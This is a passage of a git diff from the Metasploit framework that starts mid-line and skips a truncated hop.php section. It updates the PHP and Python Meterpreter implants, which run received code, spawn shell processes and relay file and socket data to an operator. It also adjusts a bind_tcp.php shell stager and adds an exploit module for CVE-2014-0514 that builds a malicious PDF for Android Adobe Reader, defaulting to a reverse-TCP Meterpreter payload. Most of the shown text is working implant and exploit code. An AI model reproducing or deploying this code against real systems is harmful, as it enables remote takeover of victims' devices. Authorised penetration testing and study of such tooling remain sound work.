$tlv['len'])); } + elseif (($type & TLV_META_TYPE_QWORD) == TLV_META_TYPE_QWORD) { + $tlv = unpack("Nlen/Ntype/Nhi/Nlo", substr($raw_tlv, 0, $tlv['len'])); + $tlv['value'] = $tlv['hi'] << 32 | $tlv['lo']; + } elseif (($type & TLV_META_TYPE_BOOL) == TLV_META_TYPE_BOOL) { $tlv = unpack("Nlen/Ntype/cvalue", substr($raw_tlv, 0, $tlv['len'])); } @@ -911,7 +924,8 @@ function read($resource, $len=null) { $r = Array($resource); my_print("Calling select to see if there's data on $resource"); while (true) { - $cnt = stream_select($r, $w=NULL, $e=NULL, 0); + $w=NULL;$e=NULL;$t=0; + $cnt = stream_select($r, $w, $e, $t); # Stream is not ready to read, have to live with what we've gotten # so far @@ -1147,7 +1161,8 @@ add_reader($msgsock); # Main dispatch loop # $r=$GLOBALS['readers']; -while (false !== ($cnt = select($r, $w=null, $e=null, 1))) { +$w=NULL;$e=NULL;$t=1; +while (false !== ($cnt = select($r, $w, $e, $t))) { #my_print(sprintf("Returned from select with %s readers", count($r))); $read_failed = false; for ($i = 0; $i < $cnt; $i++) { diff --git a/data/meterpreter/meterpreter.py b/data/meterpreter/meterpreter.py index 979ebb4107..693f83a3c5 100644 --- a/data/meterpreter/meterpreter.py +++ b/data/meterpreter/meterpreter.py @@ -1,12 +1,5 @@ #!/usr/bin/python import code -try: - import ctypes -except: - has_windll = False -else: - has_windll = hasattr(ctypes, 'windll') - import os import random import select @@ -15,10 +8,30 @@ import struct import subprocess import sys import threading +import time +import traceback + +try: + import ctypes +except ImportError: + has_windll = False +else: + has_windll = hasattr(ctypes, 'windll') + +if sys.version_info[0] < 3: + is_bytes = lambda obj: issubclass(obj.__class__, str) + bytes = lambda *args: str(*args[:1]) + NULL_BYTE = '\x00' +else: + is_bytes = lambda obj: issubclass(obj.__class__, bytes) + str = lambda x: __builtins__['str'](x, 'UTF-8') + NULL_BYTE = bytes('\x00', 'UTF-8') # # Constants # +DEBUGGING = False + PACKET_TYPE_REQUEST = 0 PACKET_TYPE_RESPONSE = 1 PACKET_TYPE_PLAIN_REQUEST = 10 @@ -41,6 +54,7 @@ TLV_META_TYPE_STRING = (1 << 16) TLV_META_TYPE_UINT = (1 << 17) TLV_META_TYPE_RAW = (1 << 18) TLV_META_TYPE_BOOL = (1 << 19) +TLV_META_TYPE_QWORD = (1 << 20) TLV_META_TYPE_COMPRESSED = (1 << 29) TLV_META_TYPE_GROUP = (1 << 30) TLV_META_TYPE_COMPLEX = (1 << 31) @@ -100,6 +114,7 @@ TLV_TYPE_LOCAL_HOST = TLV_META_TYPE_STRING | 1502 TLV_TYPE_LOCAL_PORT = TLV_META_TYPE_UINT | 1503 EXPORTED_SYMBOLS = {} +EXPORTED_SYMBOLS['DEBUGGING'] = DEBUGGING def export(symbol): EXPORTED_SYMBOLS[symbol.__name__] = symbol @@ -107,7 +122,7 @@ def export(symbol): def generate_request_id(): chars = 'abcdefghijklmnopqrstuvwxyz' - return ''.join(random.choice(chars) for x in xrange(32)) + return ''.join(random.choice(chars) for x in range(32)) @export def inet_pton(family, address): @@ -125,25 +140,6 @@ def inet_pton(family, address): return ''.join(map(chr, lpAddress[8:24])) raise Exception('no suitable inet_pton functionality is available') -@export -def packet_get_tlv(pkt, tlv_type): - offset = 0 - while (offset < len(pkt)): - tlv = struct.unpack('>II', pkt[offset:offset+8]) - if (tlv[1] & ~TLV_META_TYPE_COMPRESSED) == tlv_type: - val = pkt[offset+8:(offset+8+(tlv[0] - 8))] - if (tlv[1] & TLV_META_TYPE_STRING) == TLV_META_TYPE_STRING: - val = val.split('\x00', 1)[0] - elif (tlv[1] & TLV_META_TYPE_UINT) == TLV_META_TYPE_UINT: - val = struct.unpack('>I', val)[0] - elif (tlv[1] & TLV_META_TYPE_BOOL) == TLV_META_TYPE_BOOL: - val = bool(struct.unpack('b', val)[0]) - elif (tlv[1] & TLV_META_TYPE_RAW) == TLV_META_TYPE_RAW: - pass - return {'type':tlv[1], 'length':tlv[0], 'value':val} - offset += tlv[0] - return {} - @export def packet_enum_tlvs(pkt, tlv_type = None): offset = 0 @@ -152,9 +148,11 @@ def packet_enum_tlvs(pkt, tlv_type = None): if (tlv_type == None) or ((tlv[1] & ~TLV_META_TYPE_COMPRESSED) == tlv_type): val = pkt[offset+8:(offset+8+(tlv[0] - 8))] if (tlv[1] & TLV_META_TYPE_STRING) == TLV_META_TYPE_STRING: - val = val.split('\x00', 1)[0] + val = str(val.split(NULL_BYTE, 1)[0]) elif (tlv[1] & TLV_META_TYPE_UINT) == TLV_META_TYPE_UINT: val = struct.unpack('>I', val)[0] + elif (tlv[1] & TLV_META_TYPE_QWORD) == TLV_META_TYPE_QWORD: + val = struct.unpack('>Q', val)[0] elif (tlv[1] & TLV_META_TYPE_BOOL) == TLV_META_TYPE_BOOL: val = bool(struct.unpack('b', val)[0]) elif (tlv[1] & TLV_META_TYPE_RAW) == TLV_META_TYPE_RAW: @@ -163,6 +161,14 @@ def packet_enum_tlvs(pkt, tlv_type = None): offset += tlv[0] raise StopIteration() +@export +def packet_get_tlv(pkt, tlv_type): + try: + tlv = list(packet_enum_tlvs(pkt, tlv_type))[0] + except IndexError: + return {} + return tlv + @export def tlv_pack(*args): if len(args) == 2: @@ -170,20 +176,35 @@ def tlv_pack(*args): else: tlv = args[0] data = "" - if (tlv['type'] & TLV_META_TYPE_STRING) == TLV_META_TYPE_STRING: - data = struct.pack('>II', 8 + len(tlv['value']) + 1, tlv['type']) + tlv['value'] + '\x00' - elif (tlv['type'] & TLV_META_TYPE_UINT) == TLV_META_TYPE_UINT: + if (tlv['type'] & TLV_META_TYPE_UINT) == TLV_META_TYPE_UINT: data = struct.pack('>III', 12, tlv['type'], tlv['value']) + elif (tlv['type'] & TLV_META_TYPE_QWORD) == TLV_META_TYPE_QWORD: + data = struct.pack('>IIQ', 16, tlv['type'], tlv['value']) elif (tlv['type'] & TLV_META_TYPE_BOOL) == TLV_META_TYPE_BOOL: - data = struct.pack('>II', 9, tlv['type']) + chr(int(bool(tlv['value']))) - elif (tlv['type'] & TLV_META_TYPE_RAW) == TLV_META_TYPE_RAW: - data = struct.pack('>II', 8 + len(tlv['value']), tlv['type']) + tlv['value'] - elif (tlv['type'] & TLV_META_TYPE_GROUP) == TLV_META_TYPE_GROUP: - data = struct.pack('>II', 8 + len(tlv['value']), tlv['type']) + tlv['value'] - elif (tlv['type'] & TLV_META_TYPE_COMPLEX) == TLV_META_TYPE_COMPLEX: - data = struct.pack('>II', 8 + len(tlv['value']), tlv['type']) + tlv['value'] + data = struct.pack('>II', 9, tlv['type']) + bytes(chr(int(bool(tlv['value']))), 'UTF-8') + else: + value = tlv['value'] + if not is_bytes(value): + value = bytes(value, 'UTF-8') + if (tlv['type'] & TLV_META_TYPE_STRING) == TLV_META_TYPE_STRING: + data = struct.pack('>II', 8 + len(value) + 1, tlv['type']) + value + NULL_BYTE + elif (tlv['type'] & TLV_META_TYPE_RAW) == TLV_META_TYPE_RAW: + data = struct.pack('>II', 8 + len(value), tlv['type']) + value + elif (tlv['type'] & TLV_META_TYPE_GROUP) == TLV_META_TYPE_GROUP: + data = struct.pack('>II', 8 + len(value), tlv['type']) + value + elif (tlv['type'] & TLV_META_TYPE_COMPLEX) == TLV_META_TYPE_COMPLEX: + data = struct.pack('>II', 8 + len(value), tlv['type']) + value return data +#@export +class MeterpreterFile(object): + def __init__(self, file_obj): + self.file_obj = file_obj + + def __getattr__(self, name): + return getattr(self.file_obj, name) +export(MeterpreterFile) + #@export class MeterpreterSocket(object): def __init__(self, sock): @@ -208,11 +229,11 @@ class STDProcessBuffer(threading.Thread): threading.Thread.__init__(self) self.std = std self.is_alive = is_alive - self.data = '' + self.data = bytes() self.data_lock = threading.RLock() def run(self): - for byte in iter(lambda: self.std.read(1), ''): + for byte in iter(lambda: self.std.read(1), bytes()): self.data_lock.acquire() self.data += byte self.data_lock.release() @@ -220,15 +241,20 @@ class STDProcessBuffer(threading.Thread): def is_read_ready(self): return len(self.data) != 0 - def read(self, l = None): - data = '' + def peek(self, l = None): + data = bytes() self.data_lock.acquire() if l == None: data = self.data - self.data = '' else: data = self.data[0:l] - self.data = self.data[l:] + self.data_lock.release() + return data + + def read(self, l = None): + self.data_lock.acquire() + data = self.peek(l) + self.data = self.data[len(data):] self.data_lock.release() return data @@ -236,12 +262,25 @@ class STDProcessBuffer(threading.Thread): class STDProcess(subprocess.Popen): def __init__(self, *args, **kwargs): subprocess.Popen.__init__(self, *args, **kwargs) + self.echo_protection = False def start(self): self.stdout_reader = STDProcessBuffer(self.stdout, lambda: self.poll() == None) self.stdout_reader.start() self.stderr_reader = STDProcessBuffer(self.stderr, lambda: self.poll() == None) self.stderr_reader.start() + + def write(self, channel_data): + self.stdin.write(channel_data) + self.stdin.flush() + if self.echo_protection: + end_time = time.time() + 0.5 + out_data = bytes() + while (time.time() < end_time) and (out_data != channel_data): + if self.stdout_reader.is_read_ready(): + out_data = self.stdout_reader.peek(len(channel_data)) + if out_data == channel_data: + self.stdout_reader.read(len(channel_data)) export(STDProcess) class PythonMeterpreter(object): @@ -251,7 +290,7 @@ class PythonMeterpreter(object): self.channels = {} self.interact_channels = [] self.processes = {} - for func in filter(lambda x: x.startswith('_core'), dir(self)): + for func in list(filter(lambda x: x.startswith('_core'), dir(self))): self.extension_functions[func[1:]] = getattr(self, func) self.running = True @@ -265,6 +304,7 @@ class PythonMeterpreter(object): return func def add_channel(self, channel): + assert(isinstance(channel, (subprocess.Popen, MeterpreterFile, MeterpreterSocket))) idx = 0 while idx in self.channels: idx += 1 @@ -286,7 +326,7 @@ class PythonMeterpreter(object): break req_length, req_type = struct.unpack('>II', request) req_length -= 8 - request = '' + request = bytes() while len(request) < req_length: request += self.socket.recv(4096) response = self.create_response(request) @@ -294,17 +334,17 @@ class PythonMeterpreter(object): else: channels_for_removal = [] # iterate over the keys because self.channels could be modified if one is closed - channel_ids = self.channels.keys() + channel_ids = list(self.channels.keys()) for channel_id in channel_ids: channel = self.channels[channel_id] - data = '' + data = bytes() if isinstance(channel, STDProcess): if not channel_id in self.interact_channels: continue - if channel.stdout_reader.is_read_ready(): - data = channel.stdout_reader.read() - elif channel.stderr_reader.is_read_ready(): + if channel.stderr_reader.is_read_ready(): data = channel.stderr_reader.read() + elif channel.stdout_reader.is_read_ready(): + data = channel.stdout_reader.read() elif channel.poll() != None: self.handle_dead_resource_channel(channel_id) elif isinstance(channel, MeterpreterSocketClient): @@ -312,7 +352,7 @@ class PythonMeterpreter(object): try: d = channel.recv(1) except socket.error: - d = '' + d = bytes() if len(d) == 0: self.handle_dead_resource_channel(channel_id) break @@ -357,13 +397,13 @@ class PythonMeterpreter(object): data_tlv = packet_get_tlv(request, TLV_TYPE_DATA) if (data_tlv['type'] & TLV_META_TYPE_COMPRESSED) == TLV_META_TYPE_COMPRESSED: return ERROR_FAILURE - preloadlib_methods = self.extension_functions.keys() + preloadlib_methods = list(self.extension_functions.keys()) symbols_for_extensions = {'meterpreter':self} symbols_for_extensions.update(EXPORTED_SYMBOLS) i = code.InteractiveInterpreter(symbols_for_extensions) i.runcode(compile(data_tlv['value'], '', 'exec')) - postloadlib_methods = self.extension_functions.keys() - new_methods = filter(lambda x: x not in preloadlib_methods, postloadlib_methods) + postloadlib_methods = list(self.extension_functions.keys()) + new_methods = list(filter(lambda x: x not in preloadlib_methods, postloadlib_methods)) for method in new_methods: response += tlv_pack(TLV_TYPE_METHOD, method) return ERROR_SUCCESS, response @@ -386,10 +426,10 @@ class PythonMeterpreter(object): if channel_id not in self.channels: return ERROR_FAILURE, response channel = self.channels[channel_id] - if isinstance(channel, file): - channel.close() - elif isinstance(channel, subprocess.Popen): + if isinstance(channel, subprocess.Popen): channel.kill() + elif isinstance(channel, MeterpreterFile): + channel.close() elif isinstance(channel, MeterpreterSocket): channel.close() else: @@ -405,7 +445,7 @@ class PythonMeterpreter(object): return ERROR_FAILURE, response channel = self.channels[channel_id] result = False - if isinstance(channel, file): + if isinstance(channel, MeterpreterFile): result = channel.tell() >= os.fstat(channel.fileno()).st_size response += tlv_pack(TLV_TYPE_BOOL, result) return ERROR_SUCCESS, response @@ -432,13 +472,13 @@ class PythonMeterpreter(object): return ERROR_FAILURE, response channel = self.channels[channel_id] data = '' - if isinstance(channel, file): - data = channel.read(length) - elif isinstance(channel, STDProcess): + if isinstance(channel, STDProcess): if channel.poll() != None: self.handle_dead_resource_channel(channel_id) if channel.stdout_reader.is_read_ready(): data = channel.stdout_reader.read(length) + elif isinstance(channel, MeterpreterFile): + data = channel.read(length) elif isinstance(channel, MeterpreterSocket): data = channel.recv(length) else: @@ -454,13 +494,13 @@ class PythonMeterpreter(object): return ERROR_FAILURE, response channel = self.channels[channel_id] l = len(channel_data) - if isinstance(channel, file): - channel.write(channel_data) - elif isinstance(channel, subprocess.Popen): + if isinstance(channel, subprocess.Popen): if channel.poll() != None: self.handle_dead_resource_channel(channel_id) return ERROR_FAILURE, response - channel.stdin.write(channel_data) + channel.write(channel_data) + elif isinstance(channel, MeterpreterFile): + channel.write(channel_data) elif isinstance(channel, MeterpreterSocket): try: l = channel.send(channel_data) @@ -485,13 +525,17 @@ class PythonMeterpreter(object): if handler_name in self.extension_functions: handler = self.extension_functions[handler_name] try: - #print("[*] running method {0}".format(handler_name)) + if DEBUGGING: + print('[*] running method ' + handler_name) result, resp = handler(request, resp) - except Exception, err: - #print("[-] method {0} resulted in an error".format(handler_name)) + except Exception: + if DEBUGGING: + print('[-] method ' + handler_name + ' resulted in an error') + traceback.print_exc(file=sys.stderr) result = ERROR_FAILURE else: - #print("[-] method {0} was requested but does not exist".format(handler_name)) + if DEBUGGING: + print('[-] method ' + handler_name + ' was requested but does not exist') result = ERROR_FAILURE resp += tlv_pack(TLV_TYPE_RESULT, result) resp = struct.pack('>I', len(resp) + 4) + resp @@ -499,6 +543,9 @@ class PythonMeterpreter(object): if not hasattr(os, 'fork') or (hasattr(os, 'fork') and os.fork() == 0): if hasattr(os, 'setsid'): - os.setsid() + try: + os.setsid() + except OSError: + pass met = PythonMeterpreter(s) met.run() diff --git a/data/meterpreter/metsrv.x64.dll b/data/meterpreter/metsrv.x64.dll deleted file mode 100755 index b80d35d745..0000000000 Binary files a/data/meterpreter/metsrv.x64.dll and /dev/null differ diff --git a/data/meterpreter/metsrv.x86.dll b/data/meterpreter/metsrv.x86.dll deleted file mode 100755 index 15efbb9495..0000000000 Binary files a/data/meterpreter/metsrv.x86.dll and /dev/null differ diff --git a/data/meterpreter/msflinker_linux_x86.bin b/data/meterpreter/msflinker_linux_x86.bin index 2f6cffe02f..b9e54612a9 100644 Binary files a/data/meterpreter/msflinker_linux_x86.bin and b/data/meterpreter/msflinker_linux_x86.bin differ diff --git a/data/meterpreter/screenshot.x64.dll b/data/meterpreter/screenshot.x64.dll deleted file mode 100755 index 7eb1f3f307..0000000000 Binary files a/data/meterpreter/screenshot.x64.dll and /dev/null differ diff --git a/data/meterpreter/screenshot.x86.dll b/data/meterpreter/screenshot.x86.dll deleted file mode 100755 index 3699d2ae0c..0000000000 Binary files a/data/meterpreter/screenshot.x86.dll and /dev/null differ diff --git a/data/php/bind_tcp.php b/data/php/bind_tcp.php index a92dfb864e..a987fd4b31 100755 --- a/data/php/bind_tcp.php +++ b/data/php/bind_tcp.php @@ -9,24 +9,27 @@ if (is_callable('stream_socket_server')) { $srvsock = stream_socket_server("tcp://{$ipaddr}:{$port}"); if (!$srvsock) { die(); } $s = stream_socket_accept($srvsock, -1); + fclose($srvsock); $s_type = 'stream'; } elseif (is_callable('socket_create_listen')) { $srvsock = socket_create_listen(AF_INET, SOCK_STREAM, SOL_TCP); if (!$res) { die(); } $s = socket_accept($srvsock); + socket_close($srvsock); $s_type = 'socket'; } elseif (is_callable('socket_create')) { $srvsock = socket_create(AF_INET, SOCK_STREAM, SOL_TCP); $res = socket_bind($srvsock, $ipaddr, $port); if (!$res) { die(); } $s = socket_accept($srvsock); + socket_close($srvsock); $s_type = 'socket'; } else { die(); } if (!$s) { die(); } -switch ($s_type) { +switch ($s_type) { case 'stream': $len = fread($s, 4); break; case 'socket': $len = socket_read($s, 4); break; } @@ -40,7 +43,7 @@ $len = $a['len']; $b = ''; while (strlen($b) < $len) { - switch ($s_type) { + switch ($s_type) { case 'stream': $b .= fread($s, $len-strlen($b)); break; case 'socket': $b .= socket_read($s, $len-strlen($b)); break; } diff --git a/data/php/hop.php b/data/php/hop.php new file mode 100644 index 0000000000..c9f323657a --- /dev/null +++ b/data/php/hop.php @@ -0,0 +1,68 @@ + - " + # @return [String] normalized client architecture + def normalize_arch(arch) + if SUPPORTED_ARCHES.include?(arch) then arch else DEFAULT_ARCH end + end + + def html(arch) + "" end end diff --git a/modules/exploits/android/fileformat/adobe_reader_pdf_js_interface.rb b/modules/exploits/android/fileformat/adobe_reader_pdf_js_interface.rb new file mode 100644 index 0000000000..bae26457c4 --- /dev/null +++ b/modules/exploits/android/fileformat/adobe_reader_pdf_js_interface.rb @@ -0,0 +1,137 @@ +## +# This module requires Metasploit: http//metasploit.com/download +# Current source: https://github.com/rapid7/metasploit-framework +## + +require 'msf/core' +require 'msf/core/exploit/fileformat' +require 'msf/core/exploit/pdf' +require 'msf/core/exploit/android' + +class Metasploit3 < Msf::Exploit::Remote + Rank = GoodRanking + + include Msf::Exploit::FILEFORMAT + include Msf::Exploit::PDF + include Msf::Exploit::Android + + def initialize(info = {}) + super(update_info(info, + 'Name' => 'Adobe Reader for Android addJavascriptInterface Exploit', + 'Description' => %q{ + Adobe Reader versions less than 11.2.0 exposes insecure native + interfaces to untrusted javascript in a PDF. This module embeds the browser + exploit from android/webview_addjavascriptinterface into a PDF to get a + command shell on vulnerable versions of Reader. + }, + 'License' => MSF_LICENSE, + 'Author' => [ + 'Yorick Koster', # discoverer + 'joev' # msf module + ], + 'References' => + [ + [ 'CVE', '2014-0514' ], + [ 'EDB', '32884' ], + [ 'OSVDB', '105781' ], + ], + 'Platform' => 'android', + 'DefaultOptions' => { + 'PAYLOAD' => 'android/meterpreter/reverse_tcp' + }, + 'Targets' => [ + [ 'Android ARM', { + 'Platform' => 'android', + 'Arch' => ARCH_ARMLE + } + ], + [ 'Android MIPSLE', { + 'Platform' => 'android', + 'Arch' => ARCH_MIPSLE + } + ], + [ 'Android X86', { + 'Platform' => 'android', + 'Arch' => ARCH_X86 + } + ] + ], + 'DisclosureDate' => 'Apr 13 2014', + 'DefaultTarget' => 0 + )) + + register_options([ + OptString.new('FILENAME', [ true, 'The file name.', 'msf.pdf']), + ], self.class) + end + + def exploit + print_status("Generating Javascript exploit...") + js = add_javascript_interface_exploit_js(ARCH_ARMLE) + print_status("Creating PDF...") + file_create(pdf(js)) + end + + def trailer(root_obj) + id = @xref.keys.max+1 + "trailer" << eol << "<>" << eol + end + + def add_compressed(n, data) + add_object(n, Zlib::Inflate.inflate(Rex::Text.decode_base64(data))) + end + + def pdf(js) + self.eol = "\x0d" + @xref = {} + @pdf = header('1.6') + + add_compressed(25, "eJzjtbHRd0wuynfLL8pVMDFQMFAI0vdNLUlMSSxJVDAGc/0Sc1OLFYyNwBz/0pKczDwg3xzMDUhMB7INzcCc4ILMlNQiz7y0fAUjiOrgkqLS5JKQotTUoPz8EgVDiPkhlQWp+s5AC3Ly0+3seAG6CSa9") + add_compressed(40, "eJzjtbHRd3HU0PdIzSlTMFAISQMS6Qqa+i5BQAnXvOT8lMy8dCAzwMXNJT8ZJqBgYgpUF2Rnp++Wn1cClPZIdcpXMLYECUKMMjEHs6MSXZIUTCwgikHKM1NzUoqjjcEisXZ2vADEuSJw") + add_compressed(3, "eJztV91umzAUfoK8g8UuN2OMIQkWUFWJplUqU7VGam+N7aSs/AmMQvtqvdgj7RVmEpKRNJp2M2kXWAjZ+Hzfd3zO4Uie+D66lflGPQFCMEH3TaxeSokeo1u06iaRVEwwxcKwVpVk2cS/akvGn6UCsdwkeWD8fPthgEQExoMbWVG5kE/Jl9dK3r9+XfHXZ+4J4yqc+C1tszLTZKDN0rymbWAwUcSS6nn3GRlgZ6KeA+O62wCP0R1YFJUErulAblkumM1N7MyIPf0EbAvbyJojm0BMqNU9oB9GONFvvxJr+m35uZfTq8B4UqqkCG23W3NLzKLaIOx5HrJsZNtQW8D6JVeshXn9YU9y4FnKmldJqZIiB92axUWjAsOYgMHoz5WVR6G8NndnNHmRoZaVCJsWugQS/IgpmyrduSY4kqnMZK5qjcMXcVosiv4sl2UXkeUgHic4vaFxBB0D0MVA69CoEMn6ZcmUDHXwHWi5kOAVtil2qD3VS2pZPjqzPONY6ApScsBBdhyEEpe6+KNlHzkGlud+9AX5V54MbS/5UlSrokjDfcFd86qImQJYx23gRW8zgAtO10WVMRWyskwTzrrC6CLno99bp/YqUenQhUNlXafq9OthI026TNGU5ZvAaKGQa9akygi/16ZqlY/2NmeM6D3lzqVzdX9XOHRZ8KYrsJtl2DSJoJ6Yu1NPSjhbizl0nJhBj885nErXtl3iejFzd4E5xb7jvclrxXIuD7wOn1nONNaZcjwCPcuJIXNdGwqOZ3ObxySO8YF3gB3w6tjSu6oQDZdVeMjTg4zBgpWq0T1in7MTs8kwKIM/eN8eUN8fdGtCx970LhX/ZIwio8goMoqMIqPIKPJfiQxuNzLXV5ptd3fRs/7u8wtzq37r") + add_compressed(32, "eJzjtbHR93QJVjA0VzBQCNIPDfIBsi1AbDs7XgBc3QYo") + add_compressed(7, "eJzjtbHRd84vzStRMNJ3yywqLlGwUDBQCNL3SYQzQyoLUvX9S0tyMvNSi+3seAF54Q8a") + add_compressed(16, "eJzjtbHRd84vzStRMNT3zkwpjjYyUzBQCIrVD6ksSNUPSExPLbaz4wUA0/wLJA==") + add_compressed(22, "eJzjtbHRD1Mw1DMytbPjBQARcgJ6") + add_compressed(10, "eJzjtbHRd85JLC72TSxQMDRUMFAI0vdWMDQCMwISi1LzSkKKUlMVDI3RRPxSK0q8UysVDPVDKgtS9YNLikqTwRJB+fkldna8AIaCG78=") + add_compressed(11, "eJzjtbHRDy5IKXIsKgGy/PXDU5OcEwtKSotS7YCAFwCW+AmR") + add_compressed(12, "eJzjtbHR91YwNFUwUAjSD1AwNAAzgvVd8pNLc1PzSuzseAGGCwiD") + add_compressed(13, "eJzjtbHR9yvNLY42UDA0UTBQCIq1s+MFADohBRA=") + add_compressed(14, "eJzjjTY0VTBQCFKAULG8ABzfA0M=") + add_compressed(15, "eJzjtbHRd9YPLkgpciwq0feONlAwjNUPUDA0UjBQCNIPSFcwMgOzgvWB8pnJOal2drwAYtsNjA==") + add_compressed(26, "eJx1jk0KwkAMhU/QO+QEnRmnrQiloBXEhVBaV4qLoQ0iyGSYH9Dbm7ZrAwn54L2XZHUt9tZSDFAokNCLlmxEy1wWK3tyB/rcZS5h7kpteG53PB/i5Ck50KvyfARdLtsFp5f5a+puoHIpOuP5DqhqsfQYKPkRAz/U0pv84MyIMwwStJ41DZfoKZqIIMUQfRrjGhKYr1+HnPnEpsl+Bag7pA==") + add_compressed(41, "eJzjjTa2UDBQCIrlBQAKzAIA") + add_compressed(54, "eJwBzwAw/w08PC9GaWx0ZXIvRmxhdGVEZWNvZGUvTGVuZ3RoIDE1ND4+c3RyZWFtDUiJXE7BDcIwFLv3K/IFvlatYzAG66bgYSDM2/BQa6cDXWV7gv69m7d5SEISCKGs57axjpEklDFbd/MX1GQCc3jgRMaEN2oNDSVHrMeoep358/SgXQjse9Dx5w722naW29AhTU2RQ2zLkSivJNwABQyuE0pitYGO1SLSiJbxJL0XjaDpibv76UiZ7wvI+cx/rWb1V4ABAMukNiwNZW5kc3RyZWFtDcyfYBU=") + add_compressed(34, "eJzjtbHRdw5WMDZTMFAI0g/WDylKzCsuSCxKzUuutLPjBQB75gjK") + add_compressed(35, "eJzj1ZA6peCnxVrNzHD3v1xSmdpmTV4AOosGFg==") + add_compressed(33, "eJzjjdb3dHZ2SixOTVEwslQwUAiK5QUANnUE/Q==") + add_compressed(29, "eJwBEQHu/g08PC9GaWx0ZXIvRmxhdGVEZWNvZGUvTGVuZ3RoIDIxNi9OIDE+PnN0cmVhbQ1IiWJgYJzh6OLkyiTAwJCbV1LkHuQYGREZpcB+noGNgZkBDBKTiwscAwJ8QOy8/LxUBgzw7RoDI4i+rAsyC1MeL2BNLigqAdIHgNgoJbU4GUh/AeLM8pICoDhjApAtkpQNZoPUiWSHBDkD2R1ANl9JagVIjME5v6CyKDM9o0TB0NLSUsExJT8pVSG4srgkNbdYwTMvOb+oIL8osSQ1BagWagcI8LsXJVYquCfm5iYqGOkZkehyIgAoLCGszyHgMGIUO48QQ4Dk0qIyKJORyZiBASDAAEnGOC8NZW5kc3RyZWFtDYkear8=") + add_compressed(36, "eJzjjdb3dHZ2SixOTVEwNlAwUAiK5QUANj4E9Q==") + add_compressed(30, "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